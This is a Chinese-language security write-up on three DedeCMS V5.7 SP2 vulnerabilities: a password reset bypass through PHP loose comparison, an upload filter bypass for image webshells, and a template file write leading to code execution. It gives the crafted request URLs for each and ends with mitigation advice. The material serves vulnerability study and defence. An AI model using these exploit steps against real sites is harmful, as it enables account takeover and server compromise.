DedeCMS V5.7 SP2漏洞分析
字数 1632 2025-08-15 21:33:10
DedeCMS V5.7 SP2 漏洞分析与利用教学文档
1. 任意用户密码重置漏洞
1.1 漏洞原理
漏洞存在于 /member/resetpassword.php 文件中,由于对 safeanswer 参数的类型比较不够严格,导致可以利用 PHP 弱类型比较进行攻击。
1.2 漏洞分析
关键代码逻辑
- 当
$dopost == safequestion时,系统通过用户 ID 查询用户的安全问题和答案 - 使用
==进行比较:$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer - 默认情况下,未设置安全问题的用户,系统会设置问题为
0,答案为空
PHP 弱类型利用
empty()函数特性:0被认为是空值- 当输入密保问题为
0.0、0.或0e1时:if(empty(0.0))为 FALSE,绕过空值检查'0.0'=='0'为 TRUE,使比较成立
1.3 漏洞利用步骤
- 发送请求获取重置密码链接:
http://[目标]/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=[用户ID] - 系统会返回包含重置密码验证码的 URL:
http://www.123.com/member/resetpassword.php?dopost=getpassword&id=$mid&key=$randval - 直接访问该 URL 即可重置密码
1.4 注意事项
如果遇到一直跳转"对不起..."的问题,需要修改 /member/inc/inc_pwd_function.php 文件:
- 删除
amp;,只保留&id和&key
2. 任意文件上传漏洞
2.1 漏洞原理
文件上传检测存在逻辑缺陷:
- 在
/include/uploadsafe.ini.php中使用黑名单机制检测 - 在
/include/dialog/select_images_post.php中进行过滤和白名单检测 - 两种检测方式均未正确取文件后缀名进行判断
2.2 漏洞分析
检测流程
- 黑名单检测:除非是管理员后台
dedeadmin,否则不能上传黑名单文件 - 文件名处理:
- 将文件名中正则匹配到的异常符号替换为空白
- 检测文件名中是否存在白名单中文件格式
- 上传成功后重命名文件,取最后一个
.后面的字符为后缀
绕过方法
使用 1.jpg.p*hp 格式:
p*hp绕过uploadsafe.inc.php的黑名单检测*在select_images_post.php中被正则匹配替换为空,变成1.jpg.php- 匹配白名单
$cfg_imgtype中的jpg绕过检测 - 最终重命名为
时间+随机字符.php
2.3 漏洞利用步骤
- 注册账号并登录会员中心
- 在内容中心找到文章发表功能
- 找到上传点,上传图片马并抓包
- 修改
filename为2.png.p*hp后放包 - 获取上传后的文件路径并访问
3. 代码执行漏洞
3.1 漏洞原理
利用 DedeCMS 的全局变量注册特性,content 和 filename 变量可控,可以将任意内容写入以 .lib.php 结尾的文件中。
3.2 漏洞分析
关键点
- 由于正则限制,文件必须以
.lib.php结尾 - 存在
csrf_check()函数,请求中必须有token
3.3 漏洞利用步骤
-
获取 token:
http://[目标]/dede/tpl.php?action=upload从页面源代码中获取
token值 -
构造请求写入文件:
http://[目标]/dede/tpl.php?filename=1.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[获取的token值] -
访问写入的文件:
http://[目标]/include/taglib/1.lib.php
4. 防护建议
-
密码重置漏洞防护:
- 使用严格比较运算符
===替代== - 对用户输入进行严格过滤和验证
- 使用严格比较运算符
-
文件上传漏洞防护:
- 使用白名单机制检查文件扩展名
- 在服务器端验证文件内容而不仅是扩展名
- 禁用危险文件类型的执行权限
-
代码执行漏洞防护:
- 限制文件写入权限
- 对写入内容进行严格过滤
- 更新到最新版本或应用安全补丁
-
通用防护措施:
- 定期更新系统和组件
- 最小化服务器权限
- 实施严格的输入验证和输出编码
- 使用 Web 应用防火墙(WAF)